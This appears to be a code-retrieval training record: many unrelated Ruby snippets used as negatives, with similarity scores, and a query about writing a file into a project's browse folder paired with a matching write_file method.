"def format_metadata(obj)\n '<table class=\"table table-sm table-responsive\">' +\n obj.metadata.data.map do |k, v|\n case k\n when /^run_/, :plugins, :user\n next\n when :web_assembly_gz\n v = \"<a href='#{v}'>#{v[0..50]}...</a>\"\n when :datasets\n v = v.size\n end\n \"<tr><td class='text-right pr-4'><b>#{format_name(k)}</b></td>\" \\\n \"<td>#{v}</td></tr>\"\n end.compact.join('') +\n '</table>'\n end",
"def inspect\n out = \"\"\n self.each_pair do |k ,v|\n out << \"%-40s\" % k.to_s.yellow unless [:header, :item, :magic].include? k\n case k\n when :image_format then out << \"0x%03x\\n\" % v\n when :header\n v.each_pair do |i, j|\n out << \"%-40s%s\\n\" % [i.to_s.yellow, j] if i == :item_count\n out << \"%-40s%d MB\\n\" % [i.to_s.yellow, j>> 20] if i == :len_low\n # out \"res:\" << reserved.inspect if i == :reserved\n end\n when :item\n out << \"Items\\n\".light_blue\n v.each { |it| out << it.inspect << \"\\n\" }\n end\n end\n out\n end",
"def print_categories(array)\n puts \"id\".ljust(5)+\"name\".ljust(15)+\"cost\".ljust(6)+\"description\"\n puts \"-\" * 80\n array.each do |object|\n puts object.id.to_s.ljust(5) + object.name.ljust(15) + object.cost.to_s.ljust(6) + object.description\n end\n end",
"def show\n respond_with(@object) do |format|\n format.json { render :json => @object.to_json(object_serialization_options) }\n end\n end",
"def show\n @card_sort_result = CardSortResult.new\n end",
"def to_s\n @current_cards.to_s\n end",
"def draw_cards(*cards)\n cards.flatten.map {|c| c.to_s}.join(' ')\n end",
"def format(object, type = nil)\n core_class = cast(object, type)\n awesome = if core_class != :self\n send(:\"awesome_#{core_class}\", object) # Core formatters.\n else\n awesome_self(object, type) # Catch all that falls back to object.inspect.\n end\n @options[:html] ? \"<pre>#{awesome}</pre>\" : awesome\n end",
"def show\n @owner = Owner.find(params[:id])\n @cards = []\n @owner.cards.each do |card|\n @cards << [\"#{card.name} (#{card.brand.category})\", card.count]\n end \n end",
"def make_html_for_object( object )\n\t\t\treturn object.html_inspect if \n\t\t\t\tobject.respond_to?( :html_inspect ) && ! object.is_a?( HtmlInspectableObject )\n\t\t\tobject_html = []\n\n\t\t\tcase object\n\t\t\twhen Hash\n\t\t\t\tobject_html << \"\\n<!-- Hash -->\\n\"\n\t\t\t\tif object.empty?\n\t\t\t\t\tobject_html << '{}'\n\t\t\t\telse\n\t\t\t\t\tobject_html << HASH_HTML_CONTAINER % [\n\t\t\t\t\t\tobject.collect {|k,v|\n\t\t\t\t\t\t\tpairclass = v.instance_variables.empty? ? \n\t\t\t\t\t\t\t\t\"simple-hash-pair\" :\n\t\t\t\t\t\t\t\t\"complex-hash-pair\"\n\t\t\t\t\t\t\tHASH_PAIR_HTML % [\n\t\t\t\t\t\t\t\tpairclass,\n\t\t\t\t\t\t\t\tmake_html_for_object(k),\n\t\t\t\t\t\t\t\tmake_html_for_object(v),\n\t\t\t\t\t\t\t ]\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\tend\n\n\t\t\twhen Array\n\t\t\t\tobject_html << \"\\n<!-- Array -->\\n\"\n\t\t\t\tif object.empty?\n\t\t\t\t\tobject_html << '[]'\n\t\t\t\telse\n\t\t\t\t\tobject_html << ARRAY_HTML_CONTAINER % [\n\t\t\t\t\t\tobject.collect {|o| make_html_for_object(o) }.join('</li><li>')\n\t\t\t\t\t]\n\t\t\t\tend\n\n\t\t\telse\n\t\t\t\tif object.instance_variables.empty?\n\t\t\t\t\treturn IMMEDIATE_OBJECT_HTML_CONTAINER % \n\t\t\t\t\t\t[ HTMLUtilities.escape_html(object.inspect) ]\n\t\t\t\telse\n\t\t\t\t\tobject_html << make_object_html_wrapper( object )\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn object_html.join(\"\\n\")\n\t\tend",
"def render_hand\n p hand.map {|card| [card.value, card.suit]}\n end",
"def printCardsArray\n cards_as_string = []\n @cards.each do |card|\n cards_as_string.push(card.getName)\n end\n cards_as_string\n end",
"def to_string\n @cards.inject(\"\") do |str, card|\n str += card.to_string + \" \"\n end\n end",
"def make_html_for_object( object )\n\t\t\treturn object.html_inspect if \n\t\t\t\tobject.respond_to?( :html_inspect ) && ! object.is_a?( HtmlInspectableObject )\n\t\t\tobject_html = []\n\n\t\t\tcase object\n\t\t\twhen Hash\n\t\t\t\tobject_html << \"\\n<!-- Hash -->\\n\"\n\t\t\t\tif object.empty?\n\t\t\t\t\tobject_html << '{}'\n\t\t\t\telse\n\t\t\t\t\tobject_html << HASH_HTML_CONTAINER % [\n\t\t\t\t\t\tobject.collect {|k,v|\n\t\t\t\t\t\t\tpairclass = v.instance_variables.empty? ? \n\t\t\t\t\t\t\t\t\"simple-hash-pair\" :\n\t\t\t\t\t\t\t\t\"complex-hash-pair\"\n\t\t\t\t\t\t\tHASH_PAIR_HTML % [\n\t\t\t\t\t\t\t\tpairclass,\n\t\t\t\t\t\t\t\tmake_html_for_object(k),\n\t\t\t\t\t\t\t\tmake_html_for_object(v),\n\t\t\t\t\t\t\t ]\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\tend\n\n\t\t\twhen Array\n\t\t\t\tobject_html << \"\\n<!-- Array -->\\n\"\n\t\t\t\tif object.empty?\n\t\t\t\t\tobject_html << '[]'\n\t\t\t\telse\n\t\t\t\t\tobject_html << ARRAY_HTML_CONTAINER % [\n\t\t\t\t\t\tobject.collect {|o| make_html_for_object(o) }.join('</li><li>')\n\t\t\t\t\t]\n\t\t\t\tend\n\n\t\t\telse\n\t\t\t\tif object.instance_variables.empty?\n\t\t\t\t\treturn IMMEDIATE_OBJECT_HTML_CONTAINER %\n\t\t\t\t\t\t[ HTMLUtilities.escape_html(object.inspect) ]\n\t\t\t\telse\n\t\t\t\t\tobject_html << make_object_html_wrapper( object )\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn object_html.join(\"\\n\")\n\t\tend",
"def format_box_results(results, env)\n # TODO: remove other description fields? Maybe leave \"short\"?\n results.delete(\"description_html\")\n\n if results[\"current_version\"]\n versions = results.delete(\"versions\")\n results[\"providers\"] = results[\"current_version\"][\"providers\"]\n\n results[\"old_versions\"] = versions.map{ |v| v[\"version\"] }[1..5].join(\", \") + \"...\"\n end\n\n\n width = results.keys.map{|k| k.size}.max\n results.each do |k,v|\n if k == \"versions\"\n v = v.map{ |ver| ver[\"version\"] }.join(\", \")\n elsif k == \"current_version\"\n v = v[\"version\"]\n elsif k == \"providers\"\n v = v.map{ |p| p[\"name\"] }.join(\", \")\n elsif k == \"downloads\"\n v = format_downloads(v.to_s)\n end\n\n whitespace = width-k.size\n env.ui.info \"#{k}:\" + \"\".ljust(whitespace) + \" #{v}\"\n end\n end",
"def look(*obj)\n # puts inspect\n if obj.length > 0\n Game.instance.objects[obj.first].look\n elsif self == Game.instance.player\n Game.instance.objects[location].look\n else\n View << short_description\n View << long_description if long_description\n if contents.length\n View << \"Contents:\"\n View << contents.map {|c| Game.instance.objects[c].short_description if Game.instance.objects[c].is_visible?}.compact\n end\n end\n end",
"def format(printer, object)\n buffer = new_buffer\n printer.run(Output.new(tty, buffer), object)\n buffer.rewind\n buffer.read\n end",
"def display_card_details(choice)\n puts \"=====================\"\n puts \"| #{choice[\"name\"].upcase}\"\n puts \"=====================\"\n puts \"| INTELLIGENCE:.. #{choice[\"intelligence\"]}\"\n puts \"| STRENGTH:...... #{choice[\"strength\"]}\"\n puts \"| SPEED:......... #{choice[\"speed\"]}\"\n puts \"| DURABILITY:.... #{choice[\"durability\"]}\"\n puts \"| POWER:......... #{choice[\"power\"]}\"\n puts \"| COMBAT:........ #{choice[\"combat\"]}\"\n puts \"=====================\"\nend",
"def print_object(object, threshold = '')\n out = '{' + \"\\n\"\n out << threshold + '\"ressource_type\": \"' + object.class.to_s + '\"' + \"\\n\"\n out << threshold + ',\"instance_name\": \"' + object.instance_name + '\"' + \"\\n\"\n\n object.list_of_attributes.each do |a|\n out << print_attribute(a.to_s, object.get_value(a.to_s), threshold)\n end\n out << '}'\n end",
"def format_object_name_list(objects); end",
"def card_factory(unformatted_cards)\n unformatted_cards.each do |hash|\n add_cards_to_deck(Card.new(hash))\n end \n end",
"def show_cards(gamer, name)\n puts say(\"#{name} cards on hand list below:\")\n gamer.each do |card|\n puts \"[#{card[:suit]} #{card[:value]}]\"\n end\nend",
"def print_card\n \" #{self.rank_for_print} of #{@suit}\"\n end",
"def render_object\n\n\t\t\tcase @params[:render_mode]\n\t\t\twhen :text\n\t\t\t\tHana::PlainText.new(@wiki_query, @params[:data_to_render])\n\t\t\twhen :csv\n\t\t\t\tHana::CSV.new(@wiki_query, @params[:data_to_render])\n\t\t\twhen :json\n\t\t\t\tHana::JsonOutput.new(@wiki_query)\n\t\t\tend\n\n\t\tend",
"def format_object(obj)\n if obj.kind_of? Exception\n return \"Caught #{obj.class}: #{obj.message}\\n\\t\" +\n (obj.backtrace.nil? ? [] : obj.backtrace[0...@depth]).join(\"\\n\\t\")\n elsif obj.kind_of? String\n return obj\n else # inspect the object\n return \"#{obj.class}: #{obj.inspect}\"\n end\n end",
"def compile_results results\n def @raw_barcode.to_yaml_style; :inline; end\n def @raw_marked_votes.to_yaml_style; :inline; end\n result[:raw_barcode] = @raw_barcode\n result[:raw_marked_votes] = @raw_marked_votes\n end",
"def output_card\r\n puts \"#{self.rank} of #{self.suit}\"\r\n end",
"def get_object_display_message(object)\n values = []\n object.display_fields.each do |field|\n values << object.send(field)\n end\n values\n end",
"def dump(obj, io)\n io.puts obj.send(inspect_method)\n end",
"def show\n respond_to do |format|\n format.html {}\n format.json do\n\n hash_card = {\n name: @card.name,\n desc: @card.oracle_text,\n url: card_path(@card)\n }\n\n render json: hash_card\n end\n end\n end",
"def display_result(obj)\n\t\tnode = obj\n\t\tarr = []\n\t\tn = node.count + 1\n\t\tputs \"From #{@start} to #{@final}\"\n\t\tputs \"Total movements: #{node.count}\"\n\t\tn.times do \n\t\t\tarr << node\n\t\t\tnode = node.parent\n\t\tend\n\n\t\tarr.reverse.each do |item|\n\t\t\tp item.value\n\t\tend\n\t\texit\n\n\tend",
"def show\n # @card = current_user.cards.find(params[:id])\n @card = Card.all.find(params[:id])\n respond_to do |format|\n format.html\n format.json {\n render json: { \"data\": { \"card\": @card.as_json(include: [:book, :user]) } },\n status: :ok\n }\n end\n end",
"def report_body\n order_sorted_body.each_with_object([]) do |result, obj|\n rating = rate(result[:last], result[:min], result[:max])\n\n obj << \"#{avg_label} #{result[:avg].to_s.ljust(12)} \" \\\n \"#{min_label} #{result[:min].to_s.ljust(12)} \" \\\n \"#{max_label} #{result[:max].to_s.ljust(12)} \" \\\n \"#{run_label(rating)} #{result[:last].to_s.ljust(12)} \" \\\n \"#{des_label} #{result[:desc]}\\n\"\n end.join\n end",
"def text(obj, width=nil)\n @output << obj\n end",
"def search\n @flash_cards = FlashCard.search(params[:query])\n @summary_array = @flash_cards.collect do |card|\n { :text => card.front, :id => card.id }\n end\n\n respond_to do |format|\n format.json { render :json => @summary_array }\n end\n end",
"def format(result)\n @formatters.each do |formatter|\n formatter.format(result)\n end\n end",
"def to_s\n @cards.sort.collect do |card|\n \"#{card.value} of #{card.suit}\"\n end.join(', ')\n end",
"def p(obj)\n @contents << obj.inspect << \"\\n\"\n end",
"def to_string\r\n @card_list.to_string\r\n end",
"def to_string\r\n @card_list.to_string\r\n end",
"def display_value(obj)\n case\n when obj && observed_name\n \"#{obj.name} (#{observed_name})\"\n when obj\n \"#{obj.name}\"\n when observed_name\n \"#{observed_name}\"\n else\n \"\"\n end\n end",
"def to_card(deck)\n self.cardify(deck)\n end",
"def detail\n result ||= @bucketobjects.map { |bobject| parse(find_object(bobject))}\n { total_objects: @bucketobjects.count, objects: result||{}, total_size: total.to_s(:human_size)}\n end",
"def print_json_obj\n \n end",
"def parse_cards\n cards = []\n card_nodes = search('tr.cardItem')\n card_nodes.each do |card_node|\n card = {}\n card[:name] = name(card_node)\n card[:mana_cost] = mana_cost(card_node)\n card[:cmc] = cmc(card_node)\n card[:rules] = rules(card_node)\n card[:power] = power(card_node)\n card[:toughness] = toughness(card_node)\n card[:set_versions] = set_versions(card_node)\n\n # Supertype, Subtype, P/T, Loyalty, Hand/Life Modifiers, etc are all stored in the same node\n type_data = type_data(card_node)\n card.merge! type_data\n\n cards << card\n p card if DEBUG\n end\n cards\n end",
"def displayCard()\n puts \" Value: #{@value}\"\n puts \" Suit: #{@suit}\"\n end",
"def show\n @obj = {\n id: @cargapp_ad.id,\n name: @cargapp_ad.name,\n price: @cargapp_ad.price,\n description: @cargapp_ad.description,\n body: @cargapp_ad.body,\n image: @cargapp_ad.image.attached? ? url_for(@cargapp_ad.image) : nil,\n url: @cargapp_ad.url,\n media: @cargapp_ad.media.attached? ? url_for(@cargapp_ad.media) : nil,\n have_discoun: @cargapp_ad.have_discoun,\n is_percentage: @cargapp_ad.is_percentage,\n discoun: @cargapp_ad.discoun,\n active: cargapp_ad.active,\n user_id: @cargapp_ad.user_id,\n created_at: @cargapp_ad.created_at,\n updated_at: @cargapp_ad.updated_at\n } \n render json: @obj\n end",
"def to_string\n @card_list.to_string\n end",
"def to_string\n @card_list.to_string\n end",
"def to_string\n @card_list.to_string\n end",
"def display_card\t\n\n\t\trows=[]\n\n\t\ttable=Terminal::Table.new\n\t\ttable.title=\"Your Shoping Card List\"\n\t\ttable.headings=[\"Product Id\",\"Product Name\",\"Product price\",\"Product quantity\",\"Total\"]\n#fetch recorde and multiplication of price and qauntity from inline_products and products\n\t\[email protected](\"select i.p_id,p.p_name,p.p_price,i.quantity,\n\t\t\t(p.p_price*i.quantity) from inline_products i,products p where i.card_no=? and p.p_id=i.p_id\")\n\t\tstatement5.execute(@card_no)\n\t\t\n\t\twhile recordset3=statement5.fetch do\n\n\t\t\trows<<[recordset3[0],recordset3[1],recordset3[2],recordset3[3],recordset3[4]]\n\t\tend\n\n\t\ttable.rows=rows\n\t\tputs \"\\n#{table}\"\n#call add_edit_delete_confirm_card method\n\t\tadd_edit_delete_confirm_card\n\tend",
"def load_and_report(obj) # prints a message it's adding a suitcase to the cargo hold, and gives us the suitcase's Object Id number.\n print \"Loading object \"\n puts obj.object_id # also does some reporting of the current state of the stack.\n\n add_to_stack(obj) # adding items to the instance (the stacklike thing-the cargo hold in this case)\n end",
"def display_cards(card_array)\n card_images = [[],[],[],[],[]]\n card_array.each do |card|\n card_images.each_index { |index| card_images[index] << make_card_image(card)[index] }\n end\n \n card_images.each do |image_section_of_card|\n puts image_section_of_card.join(\" \")\n end\n end",
"def display_string(options, object, length = nil)\n if length\n l = length -1\n result = []\n if object.each do | k, v |\n s = \"#{options.display_string(k, l)} => #{options.display_string(v, l)}\"\n l -= (s.length + 2)\n break false if l < 0\n result << s\n end\n '{' + result.join(', ') + '}'\n else\n '{' + result.join(', ') + '...}'\n end\n else\n '{' + object.map{|k, v| \"#{options.display_string(k)} => #{options.display_string(v)}\"}.join(', ') + '}'\n end\n end",
"def show\n render json: @card\n end",
"def show\n render json: @card\n end",
"def show\n @team = Team.find(params[:id])\n @cards = @team.cards :all, :limit => 10\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @team }\n end\n end",
"def card_stats\n stats = {\n colors: {\n W: 0,\n U: 0,\n B: 0,\n R: 0,\n G: 0,\n C: 0,\n M: 0,\n total: 0\n },\n types: {\n creature: { count: 0, subtypes: {} },\n enchantment: { count: 0, subtypes: {} },\n instant: { count: 0, subtypes: {} },\n land: { count: 0, subtypes: {} },\n sorcery: { count: 0, subtypes: {} },\n planeswalker: { count: 0, subtypes: {} },\n artifact: { count: 0, subtypes: {} },\n },\n cmc: {\n 1 => 0,\n 2 => 0,\n 3 => 0,\n 4 => 0,\n 5 => 0,\n 6 => 0,\n },\n counts: {\n creature: 0,\n nonCreature: 0,\n land: 0,\n nonLand: 0,\n },\n rarity: {\n common: 0,\n uncommon: 0,\n rare: 0,\n mythic: 0,\n special: 0,\n bonus: 0\n },\n cards: 0,\n }\n\n cards = self.cards\n # Iterates over every card and updates stats object\n cards.each do |card|\n multiplier = card.deck_quantity(id).quantity\n\n # Increment total cards\n stats[:cards] += multiplier\n\n\n # Card types, they have been stringified so we must parse them\n card_types = card.card_types\n types = stats[:types]\n\n\n # Counts the card types\n card_types.each do |type|\n lower_type = type.downcase().to_sym\n \n if types[lower_type]\n types[lower_type][:count] += multiplier\n end\n \n \n # Counts the card subTypes\n card.subtypes&.each do |subtype|\n lower_subtype = subtype.downcase().to_sym\n\n if types[lower_type] && types[lower_type][:subtypes] && types[lower_type][:subtypes][lower_subtype]\n types[lower_type][:subtypes][lower_subtype] += multiplier\n elsif types[lower_type] && types[lower_type][:subtypes]\n types[lower_type][:subtypes][lower_subtype] = multiplier\n end\n end\n end\n\n\n # Counts multicolored cards and individual colors\n if card.color_identity.length > 1\n stats[:colors][:M] += multiplier\n end\n\n \n\n # Artifacts do not have colors, so we increment colorless\n if (card.color_identity.length === 0) \n stats[:colors][:C] += multiplier\n stats[:colors][:total] += multiplier\n end\n \n \n \n # Otherwise we update the color identity\n card.color_identity.each { |color|\n stats[:colors][color.to_sym] += multiplier\n stats[:colors][:total] += multiplier\n }\n\n\n # if the card is a land we just need to up the land count. Otherwise we set a few more counts\n if (card.card_type.include?('Basic Land')) \n stats[:counts][:land] += multiplier\n else\n stats[:counts][:nonLand] += multiplier\n\n \n # Updates counts for creatures and nonCreatures\n if card_types.include?('Creature')\n stats[:counts][:creature] += multiplier\n else\n stats[:counts][:nonCreature] += multiplier\n end\n\n # Gets converted mana cost counts\n card_cmc = card.converted_mana_cost\n \n # Increments 1 mana for 1 or 0 cmc\n if (card_cmc <= 1) \n stats[:cmc][1] += multiplier\n \n # Increments 6 mana for 6 or more cmc\n elsif (card_cmc >= 6) \n stats[:cmc][6] += multiplier\n \n # Otherwise we increment what's in-between as long as it's not a land\n else\n stats[:cmc][card_cmc.to_i] += multiplier\n end\n \n # counts card rarity, doesn't include basic lands\n stats[:rarity][card.rarity.to_sym] += multiplier\n end\n\n\n end\n\n stats\n end",
"def print_datastructure(object, threshold = ' ')\n out = ''\n if object.is_a?(Yarpler::Models::Relation)\n out << print_relation(object, threshold)\n else\n out << print_object(object, threshold)\n end\n out\n end"
] | [
"0.64820445",
"0.6226193",
"0.5886291",
"0.5849091",
"0.58358157",
"0.5789512",
"0.5777686",
"0.5776829",
"0.5770966",
"0.5745876",
"0.5724106",
"0.57017106",
"0.56891537",
"0.56819046",
"0.5678904",
"0.56606877",
"0.56455904",
"0.5630276",
"0.56124246",
"0.56106174",
"0.5596629",
"0.55927134",
"0.5546957",
"0.5537878",
"0.550494",
"0.54980767",
"0.5492414",
"0.5489384",
"0.54847026",
"0.54820544",
"0.5446902",
"0.5442492",
"0.54339296",
"0.54266894",
"0.5418316",
"0.5415155",
"0.5411558",
"0.5402269",
"0.539609",
"0.5388062",
"0.53810245",
"0.53809315",
"0.53732187",
"0.5350428",
"0.53396547",
"0.5337974",
"0.5322956",
"0.531332",
"0.53103465",
"0.5309965",
"0.53050274",
"0.5304739",
"0.5303426",
"0.5288862",
"0.52854323",
"0.52827334",
"0.52763003",
"0.5266767",
"0.5263649",
"0.5256336",
"0.5254915",
"0.5244513",
"0.5243415",
"0.52433467",
"0.52332383",
"0.5226595",
"0.5213908",
"0.5209317",
"0.52065706",
"0.5189687",
"0.5187067",
"0.518228",
"0.51640457",
"0.51592314",
"0.51583904",
"0.5147573",
"0.5145089",
"0.5144248",
"0.51427704",
"0.5138396",
"0.5138396",
"0.51378",
"0.5132862",
"0.5132642",
"0.51260394",
"0.5123272",
"0.51220655",
"0.51133525",
"0.51056564",
"0.51056564",
"0.51056564",
"0.51017886",
"0.51006013",
"0.50970536",
"0.5090934",
"0.5090765",
"0.5090765",
"0.5083863",
"0.5082321",
"0.5080552"
] | 0.77843404 | 0 |
Write +file+ within the browse folder of project +p+ using the passed block output as content | def write_file(p, file)
File.open(browse_file(p, file), 'w') { |fh| fh.print yield }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def write(block)\n @filemgr.write(block, @contents)\n end",
"def output(file, &block)\n @outfile = File.expand_path(file)\n @block = block\n self\n end",
"def write_to(file_name, &block)\n file = File.new(file_name, \"w\")\n file.write \"---\\n\"\n yield(file) if block_given?\n file.write \"---\"\n file.close\nend",
"def write_content\n File.open(absolute_path,'w') do |file|\n file << content if content\n end\n # TODO git functionality\n end",
"def write()\n template = ERB.new(File.read(File.join(@@support_location, \"template.erb\")))\n file_contents = template.result(self.binding())\n File.write(output_name, file_contents)\n end",
"def to_pwdump_file(path, &block)\n exporter = Metasploit::Credential::Exporter::Pwdump.new(workspace: workspace)\n\n output_file = File.open(path, 'w') do |file|\n file << exporter.rendered_output\n end\n output_file.path\n end",
"def open_output_file(&block)\r\n outfile = options[:outfile]\r\n if outfile\r\n File.open(outfile, 'w') { |f| block.call(f) }\r\n else\r\n block.call(STDOUT)\r\n end\r\n end",
"def write_to_output filename, content = nil # :yields: file\n self.create_output_file(filename) do |output_path|\n File.open(output_path, 'w') do |f|\n if content\n f.write(content)\n else\n yield f\n end\n end\n end\n end",
"def save_content(title, content)\n File.open(\"pages/#{title}.txt\", \"w\") do |file|\n file.print(content)\n end\nend",
"def write_output_file(output_file, body)\n File.open(output_file, 'w:UTF-8') do |file|\n file.puts $HTML_header\n file.puts body\n file.puts $HTML_footer\n end\nend",
"def create_output_file(content)\n\t\t\tf = File.new(@params[:output_file], 'w')\n\t\t\tf << content\n\t\t\tf.close\n\t\tend",
"def write(path, options={}, &block)\n content = options[:content]\n if block\n content = []\n yield content\n content = content.join(\"\\n\")\n end\n exec! \"cat > '#{path}' <<EOF\\n#{content}\\nEOF\", options\n end",
"def write\n path = \"#{site.root}/_site/#{output_file}\"\n File.open(path, 'w') do |f|\n f.write(@output)\n end\n end",
"def browse_file(p, file)\n File.join(p.path, 'browse', file)\n end",
"def write(out=nil)\n out ||= project.path(:output, path)\n FileUtils.mkdir_p File.dirname(out)\n\n if tilt?\n File.open(out, 'w') { |f| f.write to_html({}, :build => true) }\n else\n FileUtils.cp file, out\n end\n end",
"def create_HTML_file(loc_name, content, out_dir)\n File.open(\"#{out_dir}/#{loc_name}.html\", 'w') do |f|\n f.write(HEADER_TEXT)\n f.write(\"<h1>Lonely Planet: #{loc_name}</h1>\")\n f.write(NAV_TITLE)\n f.write($navigation_html)\n f.write(BLOCK_TITLE)\n f.write(\"<h1><li class='first'><a href='#'>#{loc_name}</a></li></h1>\")\n f.write(MAIN_BLOCK)\n f.write(content)\n f.write(CLOSE_HTML)\n end\nend",
"def log_and_stream(output)\n write_file output, @filename if @filename\n @block.call(output)\n end",
"def write\n filename = \"#{@directory}/label.html\"\n File.open(filename, 'w') do |fp|\n fp.puts(self.to_s)\n end\n puts \"Wrote #{filename}\"\n end",
"def save_content(title, content)\n\tFile.open(\"pages/#{title}.txt\" , \"w\") do |file|\n\t file.print(content)\n end \t\t\nend",
"def write_file(path, content=path)\n path = File.join(temporary_directory, path)\n FileUtils.mkdir_p File.dirname(path)\n open(path, 'w'){|f| f.print content}\n end",
"def generate (path)\n File.open(path, \"w\") do |f|\n @output.each do |line|\n f.puts line\n end\n end \n end",
"def write\n make_parent_directory\n generate_file\n end",
"def file_write(file, content)\n \n instructions = \"echo #{content.inspect} >> #{file}\"\n r = @ssh ? @ssh.exec!(instructions) : `#{instructions}`\n puts 'r: ' + r.inspect if @debug\n \n @results[:file_write] = r\n\n end",
"def write\n File.open(@file, 'a') do |w| \n w.write(\"\\n\"+ @name + \" \" + @path)\n end\n end",
"def write_file!\n file = File.new( path, \"w\")\n \n file.write(@source)\n file.close\n end",
"def write(file)\n self.files.each { |l| file.puts l }\n end",
"def write_page(path, format, data, commit = {})\n write(merge_path_elements(nil, path, format), data, commit)\n end",
"def output\n super(@file_format => @file_path)\n end",
"def sprint_write_file(type, content, file = nil)\n file = sprint_temp_file(type) if file.nil?\n log(\"#{self.class} writing file #{file}\", :info)\n File.open(file,'w'){ |f| f.write(content) }\n return type, file\n end",
"def write(path)\n File.open(path, 'w') do |file|\n file.puts '# This Puppetfile is managed by Bolt. Do not edit.'\n modules.each { |mod| file.puts mod.to_spec }\n end\n rescue SystemCallError => e\n raise Bolt::FileError.new(\n \"#{e.message}: unable to write Puppetfile.\",\n path\n )\n end",
"def save_file \n Grit.debug = true\n contents = params[:contents]\n message = params[:commit_message]\n @node = Node.new(:name => params[:name], :git_repo_id => params[:git_repo_id], :git_repo_path => params[:git_repo_path])\n save_file_to_disk(contents, @node.abspath)\n stage_and_commit_file(@node.repo_base_path, @node.git_repo_path, message)\n flash[:notice] = \"Created New Version\"\n render :action => :file\n end",
"def save_to_file\n File.open(@output, 'w+') do |file|\n file.puts HEADER if @additional_html\n file.puts @data_for_output.join(\"\\n\")\n file.puts FOOTER if @additional_html\n end\n end",
"def render_to_file(output_path, context, properties = T.unsafe(nil)); end",
"def write_file(file,path)\n #if a pre-existing file is specified in the includes list, copy that, if not write a blank file \n if @template.includes.has_key?(file)\n begin\n content = Includes.copy_include(@template.includes[file],@template.path)\n file = replace_tags(file)\n rescue TypeError => e\n puts e.message\n exit\n end\n else\n file = replace_tags(file) \n puts 'Creating blank file: ' + File.join(path,file)\n content=''\n end\n File.open(File.join(path,file),'w'){|f| f.write(replace_tags(content))}\n end",
"def write_erb(source, destination)\n begin\n @task.shell.mute do\n @task.create_file(destination) do\n @project.parse_erb(source)\n end\n end\n rescue Exception => e\n @task.say \"Error while building #{File.basename(source)}:\"\n @task.say e.message + \"\\n\", Thor::Shell::Color::RED\n exit\n end\n end",
"def write(file)\n @file_written = file\n file = Pathname.new(file)\n file.dirname.mkpath\n file.open \"w+\" do |output|\n output << self.build!\n end\n self\n end",
"def createFile (pathFile,extension,nameFile, erb)\r\n FileUtils.mkdir_p(pathFile)\r\n fileName = pathFile+nameFile+extension\r\n newFile = File.open(fileName,\"w\")\r\n newFile.print erb\r\n newFile.close\r\n end",
"def write(path, moduledir = nil)\n File.open(path, 'w') do |file|\n file.puts '# This Puppetfile is managed by Bolt. Do not edit.'\n file.puts \"moduledir '#{moduledir.basename}'\" if moduledir\n modules.each { |mod| file.puts mod.to_spec }\n end\n rescue SystemCallError => e\n raise Bolt::FileError.new(\n \"#{e.message}: unable to write Puppetfile.\",\n path\n )\n end",
"def write_raw!(pathname, output)\n FileUtils.mkdir_p(pathname.parent) unless pathname.parent.exist?\n File.open(pathname, 'w'){ |f| f << output }\n end",
"def write_file\n \n # if dirty?\n generate\n \n delete_file\n File.open(absolute_path.gsub(/\\.txt$/, \"\"), 'w+') do |f| \n f.write(generated_header)\n f.write(generated_content)\n end\n # not_dirty\n # end\n end",
"def to_file(path = file_path)\n content = render\n\n ::File.open(path, 'w') { |file| file.write(content) }\n\n content\n end",
"def write_file filename, content\n path = @output_directory + filename\n File.open(path, 'w') {|f| f.write content }\n end",
"def output_to_file (products_hash, brands_hash)\n\t_sales_report_header\n\t_products_header\n\tproducts_section(products_hash)\n\tend_of_section\n\t_brands_header\n\tbrands_section(brands_hash)\n\tend_of_section\n\t$report_file.puts 'THIS REPORT HAS BEEN CREATED BY MROHDE'\nend",
"def render\n File.open(@file.output_path, \"w\") { |file| file.write(super) }\n end",
"def write_file( fname )\n File.open(fname, \"w\") do |f|\n f << TDP.application.result\n end\n TDP.application.result = String.new\n# puts \"...written to #{fname}\"\n end",
"def out text\n @fileBuffer << text << \"\\n\"\nend",
"def write_to_file_if_needs_block(argv)\n unless argv.empty? \n $stdout = File.open(argv[0], \"w\")\n end\n\n yield\n\n unless argv.empty? \n $stdout.flush\n $stdout.close\n $stdout = STDOUT\n end\nend",
"def write_it( output_file, final_content )\n File.open(output_file, \"w\") {|f| f.write( final_content ) }\n end",
"def write_file\n\n File.open(\"rebuild.html\", \"w\") do |file|\n @write_array.each do |tags_and_text|\n file.write tags_and_text\n end\n end\n\n end",
"def write_to_file(path, content)\n directory = File.dirname(path)\n FileUtils.mkdir_p(directory)\n File.write(path, content)\n after_rendering_run(\"rm -rf #{path}\")\n path\n end",
"def generateFile ( parent, node )\n # Usable node?\n atlas_node_id = node.attribute ( \"atlas_node_id\" )\n if ! atlas_node_id then # not a usable node\n return nil # prevent procedure-as-function-(ab)use\n end\n\n node_name = node.elements[\"node_name\"].text\n if ! node_name then # not a usable node\n return nil # prevent procedure-as-function-(ab)use\n end\n\n # Construct filename and try to open it for write.\n htmlFilePath = \"#{@outputDirectory}#{makeHtmlFileName(atlas_node_id)}\"\n begin\n File.open( htmlFilePath, \"w\" ) do | outFile |\n # Write template+substitutions.\n outFile.puts \"#{@template.part1}#{node_name}#{@template.part2}\"\n\n if parent then\n parent_atlas_node_id = parent.attributes[\"atlas_node_id\"]\n parent_node_name = parent.elements[\"node_name\"]\n if parent_atlas_node_id && parent_node_name then\n outFile.puts \"<p>Up to <a href=\\\"#{makeHtmlFileName(parent_atlas_node_id)}\\\">\"\n outFile.puts \"#{parent_node_name.text}</a></p>\"\n end\n end\n\n node.elements.each() {|child|\n child_atlas_node_id = child.attributes[\"atlas_node_id\"]\n child_node_name = child.elements[\"node_name\"]\n if child_atlas_node_id && child_node_name then\n outFile.puts \"<p><a href=\\\"#{makeHtmlFileName(child_atlas_node_id)}\\\">\"\n outFile.puts \"#{child_node_name.text}</a></p>\"\n end\n }\n\n outFile.puts \"#{@template.part3}#{node_name}#{@template.part4}\"\n outFile.puts \"#{@destinationsReader.getDestinationDescription(atlas_node_id)}\"\n outFile.puts @template.part5\n end\n rescue\n raise \"Failed to write html file #{htmlFilePath}\"\n end\n end",
